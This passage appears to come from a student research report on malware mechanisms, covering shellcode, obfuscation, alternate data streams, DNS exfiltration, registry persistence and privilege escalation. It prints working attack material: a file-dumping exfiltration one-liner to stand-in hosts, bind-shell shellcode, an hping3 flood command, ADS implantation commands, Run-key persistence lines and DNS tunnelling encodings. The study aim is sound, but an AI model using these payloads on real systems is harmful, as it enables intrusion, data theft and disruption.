Secondly, encryption for destruction. From time to time there are attacks that are not in it for direct financial gain, rather obstruction and distress. This variant encrypts just the same, with a few notable differences. There is no ransom, the key often is not transmitted and it is more liked to corporate rivalry or hacktivism.

4.4 Buffer Overflows

Programs rely on storage and variability. A program that steps through in the exact same way is not always what is needed to solve a given problem. Standard input allows for programs to change at run-time, often with conditional statements. Input does have a limit however, which depends on the data type and system architecture. If input exceeds the limits of it's 'box' in memory, the program becomes unstable. It can lead to the user the program is running under causing change or unintended action on the machine, by injecting a very specific payload that will overload the buffer and achieve a given task, such as a reverse shell. This is the result of not validating buffer size, using C methods like strcpy. (**?**)

Strcpy() takes two arguments, destination and source. There is no built in limitation on how much it stores, and is therefore vulnerable. It is particularly vulnerable because this is in conjunction with variable values, which are often dictated by user input.

A better solution would be to use strncpy. (**?**) It takes an extra argument which ensures that the copied string can only be a given length from the source. Newer versions of strcpy have protections, but it is entirely dependant on the one used. (**?**)

```
Insecure:
strcpy(var2, var1);

More secure:
strncpy(var2, var1, sizeof(var2));
```

This is a very in depth topic, that is somewhat out of scope, beyond this.

4.5 Payload vs Shellcode

Malware is nothing without some form of code execution. Program code allows for malicious actors to conduct a given task, however, this cannot always be baked into the malware itself. It is common for malware to follow 'stager' behaviour, it would download the majority of the malicious code from a remote server. Another avenue is for the malware 'payload' to be obfuscated, compressed and then injected into a victim by exploiting a given vulnerability. The payload is then executed, and any number of results can come of it. Payloads often come under a few categories:

Listing 4.1: Explicit HTML Scraper Payload

```
cd /var/www/html; find . -type f -exec cat {} \; > /dev/udp/example.com/80;

Payload (Hex & Base64):
\x63\x64\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x68\x74\x6d\x6c\x3b\x20\
x66\x69\x6e\x64\x20\x2e\x20\x2d\x74\x79\x70\x65\x20\x66\x20\x2d\x65\x78\x
65\x63\x20\x63\x61\x74\x20\x7b\x7d\x20\x5c\x3b\x20\x3e\x20\x2f\x64\x65\x7
6\x2f\x75\x64\x70\x2f\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x2f\x38
\x30\x3b

Y2QgL3Zhci93d3cvaHRtbDsgZmluZCAuIC10eXBlIGYgLWV4ZWMgY2F0IHt9IFw7ID4gL2Rld
i91ZHAvZXhhbXBsZS5jb20vODA7
```

Shellcode does come under the payload banner, but is a term used to describe code that returns an interactive terminal session to the threat actor. This means they can execute code at their discretion. Payloads often are Shellcode in nature, because of the discussed benefits of variable input. Shells vary on system architecture, often coming under Bash or Powershell for their respective operating systems. Architecture matters, for both when you are giving explicit shell instructions and when you are injecting an executable shell.

The difference being that the former relies on the target shell being present, and leveraging it to grant a reverse shell, and the latter injecting a malicious shell program that has no prerequisites beyond the architecture it is designed to work on.

A fine example is below (**?**):

Listing 4.2: x86 Shellcode Example

```
#include <stdio.h>

#define PORT "\x7a\x69" /* 31337 */

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02"
PORT"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05"
"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31"
"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59"
"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";

int
main(void)
{
    printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}
```

The above code is a proof of concept from www.shell-storm.org. It illustrates that not only can explicit shell instructions be encoded, but that Linux binary code can be as well. The example simply describes the Shellcode, but in reality would be injected using a relevant exploit, and would then return a shell once executed.

If found in industry, the differences can be shown via meaningful output between normal decoders and running it through a x86 disassembler. Typical reverse engineering methods could then be conducted to find the true purpose of the payload. The specifics of static binary analysis, is beyond the scope of this paper. Instead the focus is on dynamic behavioural analysis.

Chapter 5

Malware Mechanisms - Obfuscation & Compression

Obfuscation is the art of hiding information, to prevent it from being explicitly viewed by those who wish to use it against the hacker. The idea being to muddle up the binary, making it really hard to analyze. There are certain details that are critical, IP addresses, URLs, locations, registry keys. Obfuscation is inherently dependant on some creativity, and so, this list is not intended to be comprehensive, but shows the fundamental behaviours they all exhibit.

- Unescape String
- From Hex
- From Charcode
- From XOR
- XOR Bruteforce
- Text Encoding BruteForce
- From quoted printable
- Magic

5.1 Encoding vs Encryption

Encoding is a process in which we represent data in a different format. A simple way to think of this is that A = 1, B = 2. Data representation works in the same way, base 10 number systems (decimal) can also be represented in base 2 (binary), alongside many others. The data isn't technically changing value, only how it is overtly interpreted. Encoding is often used for compression of data, base 16 (hexadecimal) is particularly useful for this as each place value represents two bytes, saving key space. Base64 is another common one, that is used in YouTube video URLs as it provides a large unique video ID range, and also means that unlisted videos cannot be sequentially guessed.

Encoding can also be used for hiding data, relying on the fact that whoever will see the data, will not understand it's meaning and encoding type. This means that clear text can be hidden, stopping people who may come across the data in transmission. The major downside of encoding is the lack of variability of security. It does not use a key, and is therefore the same each time. Any system that is reversible without a key, is inherently insecure. As a result, encryption can be used if the data is of importance

Encryption is the process of producing cipher text from a given input data-set, using a specified algorithm that provides different output for every key. The key is the important part here, while the process is reversible, it requires a key that is outside of the parameters of the static algorithm. This does a great deal for security abstractly, but very much depends on the algorithm and key size used.

Listing 5.1: Encoding vs Encryption

```
Command =   hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.
    hping3testsite.com

To Base64
    Output = HBpbmczIC1jIDEwMDAwIC1kIDEyMCAtUyAtdyA2NCAtcCAyMSA
             tLWZsb29kIC0tcmFuZC1zb3VyY2Ugd3d3LmhwaW5nM3Rlc3RzaXRlLmNvbQ==

To AES 256
    Key = bd7239a02424cd86bd7239a02424cd86bd7239a02424cd86bd7239a02424cd86
    IV = dab1efbf1d596f73c0e5e1b4486b6178
    Output = d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4855bc048efb
    bd971
    92a46baaecbbac55073b72766c25faf90da1c5f386dc1201451b6e5576798a2439988
    5112ff1684fa4ac31a1161d72ad66f44ebbaebd05e727f362e15f30315
```

The IV is also of note in the above example, it relies on the Cipher Block Chain (CBC) mode which uses it as a second key. It is a similar concept as a salt for a hash, and means you need both keys to actually decrypt the data. This makes the job of the defence much harder. It means that not only do you need to know the encryption, you need the mode, key, and possibly IV too. Base64 is sometimes used by malware, but can be easily spotted, as the == at the end is a base64 characteristic.

5.1.1 Polymorphic Encryption

In this sense, the data, the encryption algorithm and the password can all change, while maintaining the goal of the algorithm. It is clear however that while hashing of the source will not work, you can fingerprint and monitor the actions it would take, and identify based from that. Sometimes the decryption methodology and code was actually hashed, and detected based on it. There are ways around this too in one of the links.

Polymorphic data that is muddled:

- Filenames
- Encryption keys
- Unsplit strings
- File types/extensions
- Anything that is identifiable

It is very common for malware to have an encrypted payload, with a stub decrypter that acts in memory and bypasses static analysis

Dynamic analysis may detect this based on the actions conducted. AV can set up a visualised environment in which it runs through what the program would do if ran, match it against known activities regardless of hash, and look at decrypted memory.

This can be defeated (like everything), by having abrupt delays to throw the system off, lets say before and after decrypting, or overloading memory with junk to throw it off

5.2 Steganography

Steganography is a technique which involves hiding data inside the makeup of another medium. The mediums often include images, video and in modern day, network protocols. (?) The data of importance is injected into the medium in a way that is difficult to spot, and is indistinguishable without the knowledge of the technique. This does depend on the amount of data that is to be injected, there is a trade-off between quality to maintain covert cover and the data size.

The major difference between steganography and cryptography is that the former not only does not explicitly morph data into a different representation, rather it conceals it's very existence. If a systems engineer sees text that appears to be encrypted and there is some link to a covert channel, it may raise concern. Using the same example with Steganography, removes the concept of curiosity. (?)

Practical use cases include:

1. Concealment of illicit material on overlooked media

2. Stolen data compressed into file, ready for exfiltration/infiltration

3. Malware stager storage - See Sundown Exploit Kit

4. C2 structure based on Twitter image steganography

The threat is lesser compared to previous years, with detection systems being wary about Steganography inside files. There are considerations with the technique itself; it relies on a medium being downloaded, and also executed. This requirement of user interaction makes it less appealing to threat actors. That being said, some criminals like to reuse old techniques in new ways which may catch defence by surprise who are often more focused on current events. The technique can be performed by various tools, one of which is 'steghide' for UNIX systems.

5.3 Alternate Data Streams

Alternate Data Streams, often abbreviated as ADS, is a method of hiding information in the metadata portion of a file. This could be used to avoid having to represent data explicitly, such as in a text file, which is much more loud in computer forensic sense. ADS messages are not viewable by default, and so could easily slip through manual detection measures. ADS came about for NTFS and HFS+ in order to accommodate the extra metadata fields that Macintosh based systems operate with, creating cross-compatibility. Whole files can be hidden inside another, which is a crude version of obfuscation. The data can be viewed fairly easily, but requires knowledge of this as a practise. (**?**)

Typically data is stored in the :$DATA portion of the file, and malicious data can be injected into the zone identifier, and also executed from.

Implantation:

```
type c:kmalware.exe  c:kWindowssystem32kcalc.exe:malware.exe
```

(**?**)

This will implant the malware.exe into the alternate data stream of calc.exe, letting a threat actor covertly hide malware or secret information, to later be executed or read.

Execution:

```
start c:kWindowssystem32kcalc.exe:malware.exe
wmic process call create c:kWindowssystem32kcalc.exe:malware.exe
```

(**?**)

Start previously worked, and is now blocked, however wmic still works.

Detection:

```
dir R
```

A positive us of ADS comes in the automated scanning of files - often in the ADS in case of malicious payload injection. This is particularly prevalent with downloaded files, the origin of the file is stored in the ADS by the browser. This lets security software have an extra conditionals to check for to aid detection upon periodic scan or execution. (**?**) There is a compressed version of ADS that are difficult to spot to due

Chapter 6

Malware Mechanisms - Exfiltration

Modern malware are often not static, it changes and morphs based on remote command. For this to work, there must be some form of communication from victim to attacker. As discussed above, their is usually a side channel for this. In C2 structures, it is often advantageous for communications to be covert and unreadable, as to not create a breadcrumb trail back.

Data can be pushed over the network, usually in the form of UDP or TCP traffic.

Listing 6.1: UDP over Bash

```
echo "d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4
855bc048efbbd97192a46baaecbbac55073b72766c25faf90da1c5f
386dc1201451b6e5576798a24399885112ff1684fa4ac31a1161d72
ad66f44ebbaebd05e727f362e15f30315" > /dev/udp/malicious.example.com/80
```

In the above string, the previously encrypted string is sent over the network using bash's network device. UDP on port 80 was chosen for our example server

The above string is encrypted at rest, but another layer at transit would be ideal to obfuscate the traffic's purpose.

6.1 TLS

Transport Layer Security, and formally Secure Socket Layer (obsolete since 1999 when TLS evolved from it) are protocols to encrypt data cryptographically in transit. It's use typically applies to client to server communication. It ensures that while transmitting through potentially insecure nodes of the internet, data is secured and non sensicle to those who potentially have a network tap to view transmission contents. This is extremely important for communications that are sensitive in nature such as emails and voice communications. (?)

TLS is ultimately a layer for other protocols to plug into, to push their traffic through, with the other side agreeing to decrypt it in the same way. For example, there is HTTPS, HTTP over TLS. The cryptographic protocol must be agreed upon, as must the decryption key. This is done during the TLS handshake, except without an explicit key as that would be insecure to push over the network in clear text. (?)

PGP encryption is a popular choice for this, it provides an effective way of maintaining confidentiality and integrity. Each host has a private key only known to them, each also have a public key based on that private key given to anyone who wants it. This is known as asymmetric encryption. When data is asymmetric, private key encrypted data can only be decrypted by the public key of the other side, and vise versa.

As noted, integrity can be assured with this method. This is especially important in two settings. The first being infrastructure validation, in which server A and B want to ensure they are talking to each other, and not an impersonator whom wouldn't have the same public key. The second being the validation of websites, particularly the ones of high traffic. Often these sites have to handle sensitive information, and so clearly there is a need for them to prove they are who they are. They use the TLS and PGP process to develop certificates that are given to the browser who then automatically check with certificate authorities (CAs) to ensure they are the real deal. Challenges are often given to the domain servers holding a given certificate that only they can complete.

It is clear that TLS can be used for great purpose, to ensure data can be hidden from those it was not intended for, which helps prevent cyber crime known as man-in-the-middle attacks. A commonality in security is that both sides often use the same tools for different purposes. TLS unfortunately can be used to encrypt C2 channels to make them even more covert in transit. This is due to the flexibility of TLS, along with how computers handle data indiscriminately. Domains are cheap, and registering one for malicious purposes is common place in the criminal world. (?)

6.2 Geo Location Altering

As discussed, it is important to conceal the location of the real attacker. It is common in a C2 structure for zombie machines in the botnet to conduct the attacks. This in essence is a proxied attack, as the zombies are attacking in place of the master. Proxy chains come in due to the need to remove the direct link from master to slave machines, adding multiple layers of proxy relays all around the world in between all communication either way. This means if a zombie machine was captured, authorities may only see communication to a random cloud host, whom then talks to another random cloud host. It increases the difficult exponentially for law enforcement to find the criminal, as there are a whole assortment of laws that cause issues for accessing cloud services, when traditionally a live capture was all that was needed.

TOR is another endeavor that is intended to escape censorship and monitoring, that is also used by criminals to hide their real location. It runs using onion routing which ensures that the host is not linked to the destination by bouncing traffic through over nodes on the tor relay, that scan all across the globe. The specifics are out of scope for this paper but the concept is that the client communicates with a onion based directory server, the first router is contacted and a Diffie-Hellman key exchange is initiated (to establish short live keys), with this repeating for 3 hops to create a non attributable link to the destination. The IP header is wrapped inside an 'onion' that is peeled back at each node, to reveal information about how to reach the next. The process is more involved than that in reality, but again, is out of scope for this paper. (?)

TOR can cause problems for those who require some baseline of monitoring, whether than be a place of education or a workplace, to avoid policy and law violations. It often is used for criminal activity, with port scanning, C2 and exfiltration often being carried out over the darknet that TOR is often used to connect to. (?)

6.3 Protocol Payload Abuse

6.3.1 DNS

Domain Name Service, commonly known as DNS is a protocol that servers to resolve domain names to their respective IP addresses (and vice versa). It acts as a way for humans to use the internet in a more intuitive and memorable way, as well as allowing for variability in infrastructure deployments. If a file share is given a domain name and port, that domain name can then be used in clients that it serves; if the IP that is resolved into changes, then the client needs not change anything, and so less configuration is needed long term. Another point to make is that this allows for a round robin approach to load balancing where a given domain name resolves to different IP addresses providing the same service which evens the workload.

DNS is commonly used on most networks, as it provides an integral part in most interaction, human and programs alike. The assumption that DNS would be on practically any network can be used in an adversary's favour; DNS is not often monitored to the degree it should be. DNS allows for fairly covert channels to transport data, that if done well, can bypass firewall and IDS/IPS systems. A C2 structure can be formed through this communication.

An abstract from a relevant paper (?):

> "1: The attacker must have control of an authoritative DNS server, which will be the end point for the DNS requests transmitted from the victim.
>
> 2: Exfiltration tools consist of two component applications; the client on the victim machine, and the server controlled by the attacker. The victim machine must be infected with the client tool. For example, within a malware payload.
>
> 3a: With control of the victim's machine, the exfiltration

> tool is used to encapsulate selected data from the victim into DNS requests.
>
> 3b/c: The request is forwarded through DNS servers until it reaches the attacker. This reflects standard DNS operation i.e. if a server is unable to resolve the DNS request, it forwards it to a higher-level DNS server.
>
> 4: Once the request reaches the authoritative DNS server, the server side of the exfiltration tool strips the data from the request and reconstructs it into the original format."

DNS Subdomain Manipulation

DNS requests and responses are used to transport data covertly. To a greater depth, this is accomplished via the ability to append a subdomain to a registered domain. DNS traffic is routed through infrastructure until it hits the authoritative server that is malicious, the logs are read and the data is stolen. Data is often compressed, encoded and something even encrypted to fit into the of the domain field up to the UDP limit (look into it). (**?**) Data transmitted this way is difficult to spot, and meaningless if found without context. The DNS server can either be threat actor controlled or hijacked infrastructure. Firewall rules allowing only certain IP addresses to access domains can be bypassed with UDP IP spoofing, where a complete whitelist approach of approved domain names would be ideal. (**?**)

For example:

```
d15304958943bc2190ab10bbca29a6c0171e5af4347d3c4a4855bc
048efbbd97192a46baaecbbac55073b72766c25faf90da1c5f386d
c1201451b6e5576798a24399885112ff1684fa4ac31a1161d72ad6
6f44ebbaebd05e727f362e15f30315.malicousServer.net
```

In reality. this can be improved upon. The above subdomain is long, and so splitting it up would look much less suspicious. The ability to know something is suspicious is still dangerous to an adversary.

Much better:

```
d15304958943bc2190ab10bbca2.malicousServer.net
9a6c0171e5af4347d3c4a4855bc.malicousServer.net
048efbbd97192a46baaecbbac55.malicousServer.net
073b72766c25faf90da1c5f386d.malicousServer.net
c1201451b6e5576798a24399885.malicousServer.net
112ff1684ff1684fa4ac31a1161.malicousServer.net
d72ad66f44ebbaebd05e727f362.malicousServer.net
e15f30315.malicousServer.net
```

DNS Tunneling

There are multiple vectors in the DNS protocol to attach meaningful variance; The domain name itself that is attempted to be resolved as discussed, using common queries such as A or AAAA and tunneling other protocols as payloads through the query payload of the DNS query. Depending on the throughput needed, the requests can be segmented to be more covert, as tunneling high bandwidth protocols through DNS can be quite loud in respective to detection software. (**?**) Common tunneled protocols include SSH, HTTP and HTTPS. SSH and HTTPs have the benefit of having obfuscation in encryption, rather than just hiding HTTP downloads in clear text encoded base64 (**?**)

DNS Infiltration

Another place to insert data is in a TXT response; If a NOERROR (Maybe explain more) TXT request is initiated by the victim (it would normally be NXDOMAIN), then the responder has the ability to insert data into the descriptive field. This is normally a field for contact information such as telephone number and email. The space here is much larger, allowing for 300 characters which is plenty for a compressed executable payload. This would be considered infiltration, and provides alternate options. (**?**)

DNS Heartbeating

As discussed in earlier sections of the paper, messages are sent to verify connectivity and system availability, often with identifiable information. ??

DNS has this capability, as so long as targeted detection or whitelists are not in place, DNS can eventually push any amount of data through infrastructure to the centralized server. This allows for a level of creativity for how to solve problems. The C2 master may have many victim machines connecting to it at once, how may it distinguish between them, while using DNS?

Paloaltonetworks came up with an effective strategy, specific sections of data can be encoded into base64, and then pieced together and appended as a subdomain as discussed earlier. (?)

Listing 6.2: Encoding Of Identifiers Into A DNS Request

```
Sample Nomenclature:
IP, OS, Location, Username, Hostname, UUID

145.222.1.56 = MTQ1LjIyMi4xLjU2
Windows7 : NTFOLTAuMVc=
John Doe : Sm9obiBEb2U=
DB_SVR : REJfU1ZS
532e4d42-2de2-4489-8761-9f0bc329652e :
NTMyZTRkNDItMmRlMi00NDg5LTg3NjEtOWYwYmMzMjk2NTJl

Delimiter = '

MTQ1LjIyMi4xLjU2'V2luZG93czc='NTFOLTAuMVc='Sm9obiBEb2U='REJfU1ZS
'NTMyZTRkNDItMmRlMi00NDg5LTg3NjEtOWYwYmMzMjk2NTJl.malicousServer.net
```

Varying length could be an issue, delimitation would solve this. A character that does not need to be escaped in base64 or DNS, but that is covert aesthetically would is ideal, such as the apostrophe used above. This is an area that has scope for improvement.

DNS C2 Control

The identifiers above allow the botnet master to provide responses conditionally based on request sender and content. DNS inherently resolves domain names to addresses, this is another potential attack vector. In the cases shown, the IP response is not needed or not even read by the victim. The DNS requests are arbitrary and serve to deliver data, rather than the intended purpose of being a mechanism for other protocols to work. This means that the IP address returned can be leveraged to hold a different meaning. These attacks assume control of a DNS server, and as a result what addresses are returned. (?)

Assuming we are using IPv4, there are 4,294,967,296 possible addresses. This means in turn that we have the same amount of potential commands, by assuming them as unique identifiers for commands. (?)

Using the earlier actions as an example **??**:

Listing 6.3: Psuedo DNS OPCoding via IP resolution

```
10.10.10.1 = Downloading a remote payload
10.10.10.2 = Uploading sensitive data from the victim's machine
10.10.10.3 = Serving a reverse shell
10.10.10.4 = Conduct denial of service activity
10.10.10.5 = Wipe malware and traces
```

DNS Manipulative Tools

There are tools capable of conducting such techniques; these include:

1. DnsCat2 - ”This tool is designed to create an encrypted command-and-control (CC) channel over the DNS protocol” (?)
2. DNSExfiltrator - ”Allows for transferring a file over a DNS request covert channel.” (?)
3. Iodine - ”IP over DNS tunneling client” (?)
4. DET - ”Data Exfiltration Toolkit” (?)

6.3.2 ICMP

ICMP is a control message protocol for IP that lets a host ping another host to validate connectivity. This relies on the other side allowing ICMP, and that it responds. that ICMP allows for a similar kind of exfiltration to DNS. Exfiltration methodologies can be split into two categories, timing and storage based. The former uses time as the Boolean measure as to a given status by manipulation response/request time, for example delaying response by 3 seconds if clear text passwords exist. The latter relies on fields within the protocol having storage capacity for variable data for exfiltration. These tend to be unused or optional fields, with one process writing to them, and another stripping it out. The ICMP data payload inside the frame is the most obvious location, but it being under the ICMP banner, can help divert attention elsewhere. There are other less obvious places that data could be placed, but that is out of scope for this paper. (?)

Ping can be leveraged to specify it's 16 byte ECHO_REQUEST field's contents. The source states that a simple Scapy Python script can be used in combination with timing and payload switches of the ping utility, to exfiltrate data under the ICMP protocol. This relies on compression of data into hexadecimal, and to then sneak that into intervaled bytes that the listener/sniffer on the malicious server will then strip and write to a file. (?)

For the purposes of this paper, DNS will be the focus, however, ICMP is a useful asset for the above use cases.

Chapter 7

Malware Mechanisms - Persistence

Important for malware to have continued access, even after a reboot. Commonly, persistence leads to a reverse shell listener being initated on boot-time. Persistence technologies often need some form of trigger, these triggers should be covert variations of typical procotocls, with malformed payloads. These triggers should be automatic, or at least on something that would be done normally.

Windows works by leaving files for both reference, logs and to speed process up. These either are intrinsic to how the OS works or simply have been left behind. These are great for finding evidence and purpose. It can proven that a criminal acted at a given time, on a given file and so on. These are some useful areas. This is windows 10, but older ones are still out there, 7 upwards are very similar.

7.1 Registry Manipulation

A hive that is normally maintained by the system. You can change values and implant whatever you want in there. Here are some strategic places. Many of these are ASEPs (AutoStart Extension Points), meaning they run without user interaction. The registry seems to have issues with wild wildcards, in that it will run essentially anything under a given hive at it's respective time and permissions. It's a rootkit waiting to happen. It's where forensic analysts will look first. When I'm testing this, I often use regedit.exe. Real malware wouldn't do this, it would do it via scripting. A few example of the reg command are below.

Startup Keys Keys that point to folders, that can launch shortcuts and executable as the given user, often during login or reboot. The below examples represent how to run a program on boot-time with respective permissions.

Listing 7.1: Registry Startup Key Locations

```
Default User:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell
    Folders

Public User:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell
    Folders

Windows Startup folder -
C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
or
run  ----> shell:startup
```

Anything in the startup folder auto executes on startup, including shortcuts to other paths. Exection will conduct as the logged in user, as it will wait for login, rather than boot level.

Services Winload.exe is the first to load in the OS, reads the hive to see what drivers need to be loaded. It is responsible for the "starting windows" message. Temporary or user folders would be very suspicous, It's about looking for anomalous locations.

Listing 7.2: Registry Service Locations

```
HKLM\SYSTEM\CurrentControlSet\Services

View drivers (Admin):
reg query hklm\system\currentcontrolset\services /s | findstr ImagePath 2>nul |
    findstr /Ri ".*\.sys\$"
C:\WINDOWS\TEMP\INSTB64.SYS C:\Users\USERNA~1\AppData\Local\Temp\cpuz135\
    cpuz135_x64.sys C:\Windows\TEMP\009947~1.EXE C:\Users\username\AppData\Local\
    Temp\ALSysIO64.sys
```

Browser Helper Objects A DLL module that loads on internet explorer startup. It's reactionary, requires reasonable setup, but is fairly reliable. A favourite for data theft.

Listing 7.3: Registry BHO Locations

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser
    Helper Objects
```

BootExecute Keys As far as locations in the registry where malicious processes or modules can be configured to launch from, the BootExecute key is the earliest. Smss.exe will load any programs it finds listed here. By default the only entry in this string array is autocheck autochk * which runs Autochk during boot. Decodes to "autocheck autochk * aHdqEPamx", loads this on boot. This is the view of an online sandbox analyzer.

Listing 7.4: Registry BootExecute Locations

```
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
```

DLL Search Order Hijacking If a process is executed, it will look in it's own folder first, and use it's DLL, even over a windows one, to overwrite it. If not, it will read the location of root, to the destination with spaces, and means you can inject a DLL where you know it will look before the real one. Even explorer.exe does this!

AppInit_DLLs Every-time User32.dll is loaded by an exe, this string is read and modules are loaded that are listed. This is invoked a fair few times on system load-up from multiple initialized processes.

Listing 7.5: Registry Run Locations

```
User (Leverage for potential privilege escalation):
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Admin Level:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
    Run

Legacy:
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
```

```
Command Line Malware Persistence Implantation:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v John
     /t REG_SZ /d "C:\Users\John\malware.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v
    John /t REG_SZ /d "C:\Users\John\malware.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices"
     /v John /t REG_SZ /d "C:\Users\John\malware.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
    RunServicesOnce" /v John /t REG_SZ /d "C:\Users\John\malware.exe"
```

(?)

7.2 Privilege Escalation

The idea behind privilege escalation is that under the assumption that a user shell is granted, that shell can then be leveraged in a malicious way to gain higher privilege. Permissions are often exploited in order to escape user level constraints, often due to poor configuration. This varies from hijacking processes running as root (system in windows) to abusing scheduled tasks to run user defined code. The ultimate goal of priv esc is to leverage the highest user shell, from there; system level persistence mechanisms such as rootkits can be easily leveraged for deep persistence.

7.2.1 Command Injection

We can use command injection to run any command that user has available. This may include netcat or any allowed system command. This could all be prevented with a few steps. Proper input validation on the entry point.Lack of access that the web application has to system commands, as well as up the date packages of the languages that have this vulnerable. There is no reason that netcat should be on a target system. The following is possible otherwise. We could use this attack in a input that runs a command, we end the command and run another as that user, in this case popping a shell for us to run commands more easily ourselves.

7.2.2 Scheduler & Permission Manipulation

Linux systems use cron, and windows systems use task scheduler. They both allow for administrators to automate tasks. The use case is usually for an on-boot task, or periodically ran for backups and other important jobs. They save the administrator from having to run it manually, leaving them to do other jobs. They are invaluable for backup hygiene, as well as auto-starting important programs. While these schedulers can run single commands, they are often given scripts for which to run at their defined time. The programmer in this case does not have to worry about scheduling code, they let the OS sort it out with their defined settings. The script will do 'x' task, and will run through it's defined algorithm.

The problem arises in the permissions of the potentially variable file. The script will always run as the user chosen to run the task. This means that the script could be running as the system or root user without explicit knowledge, and as such , if exploited could also run arbitrary code. A particularly nasty attack vector is the write permission of the script. If not secured so that only system level permissions can edit it, potentially any user can alter it. A user account could be hijacked, and then attempt to write to a scheduled script file. The user writing to the file may not be the one running it periodically, and as such any changes could be ran as the system/root user.

Sudo Permission Abuse:

There is another vulnerability in UNIX based systems called SUID exploitation in which programs have permissions assigned which say who can use the sudo command, as what user, on what binaries, that do not consider how that permission might be used. If a threat actor gained a shell onto a system as a given user, they could use it to scan for 'S' bits on the permission section. The 'S' represents who can run a program as a different user, often without a password. The ability to run code as another, sometimes more privilege user means that there may be potential to abuse the application into using it's power to grant a shell, under that user. GTFObins is a useful resource for this use case, it is a repository of known exploitation strings. (?)

Scan for SUID binaries for a given user:

```
find / user user perm 4000 exec ls ldb n+nb k;
sudo l
```

These are attack vectors, and as such means that there is a RCE vulnerability if left unsecured. An attacker could use it to leverage position, pivot to another user, and plant persistence with a new user of privilege. Equally, persistence could be gained by binding to a 'trusted' process which has privilege. Applications like Windows File Explorer and Notepad have inherent trust and privilege in the system, and as such if malware binds their respective, it can remain there for sometime. Binding to a process can be done using the above DLL hijacking, and also with the use of meterpreter modules once in the system. Meterpreter also has the benefit of using the hijacked process as a tunnel to run through commands through, and so can be leveraged to quickly comb through infrastructure.

Implantation of SSH keys is a common tactic, they do not require passwords or a user, rather a public key that is unique to the hacker's device. A sample of how native applications can be abused is Notepad itself. Notepad is a text editor in nature, meaning it has read and write permissions, of a given user. It is a convenient way of delivering malware payloads into local malware scripts, often with great speed.

Chapter 8

Application of Analysis

The specifics of the landscape covered is essential to the overall ṕicture,́ but scope is needed to feasibly illustrate the point of a common threat, versus an defence. DNS exfiltration will be the general focus, it represents an area that can be missed in general security products. Covert exfiltration/infiltration of data is integral to C2 structures, as well as the leaking of confidential material. It lays out the foundation for outright tunneling of application layer protocols to expand capability further.

This branch of investigation requires development of DNS Exfiltration technology for both sides, threat and detection. In addition, an overlook and comparison of defence technologies out there in relation to these common theat vectors would be suitible for this investigation.

Part III

Synthesis

Chapter 9

Threat tool development

9.1 Language Choice

Planning was essential to the tool development process. Any program needs a problem(s) to solve represented by a set of requirements, a flow diagram to roughly represent the algorithm path in pseudo code and a language of choice. Langauges are suited for different purposes. The two used primarily in this project was c(++?) and python3.

Python is a psuedo C translated langauge that in considered to be higher level in abstraction, it hides some of the complexity which can allow for more elaborate logic. Python3 is the newer itteration which comes with slight langauge changes and improvments, with some libraries being exclusive to the newer version. It is preferble and sensible to keep software up to date, and to reinforce update culture and so it is important to do so here too.

C is the lanaguage that some others are built on, python uses some C libraries in the background with a nice wrapper. The advantage of C is the freedom of memory access which can be useful for finer tuned programming. The problem dictates the language, threat tools that aren't buffer overflow based are usually suited to python3. They are compact, easier to understand and has well documented libraries. If the memory access or speed is not needed, then python3 is preferble. For detection tools that scale up, C is preferable as python conveniences stack up and become efficency hinderances. These hinderances can undermine the goal of the program in the first place, in which case a C variant is preferble.

9.2 Python Libraries Methods

9.2.1 Notable code credit

1. https://pypi.org/project/pycryptodome/
2. https://docs.python.org/3/library/argparse.html
3. https://gist.github.com/mrpapercut/92422ecf06b5ab8e64e502da5e33b9f7
4. https://docs.python.org/3/library/base64.html

9.3 C Libraries Methods

9.3.1 Notable code credit

1. https://elf11.github.io/2017/01/22/libpcap-in-C.html
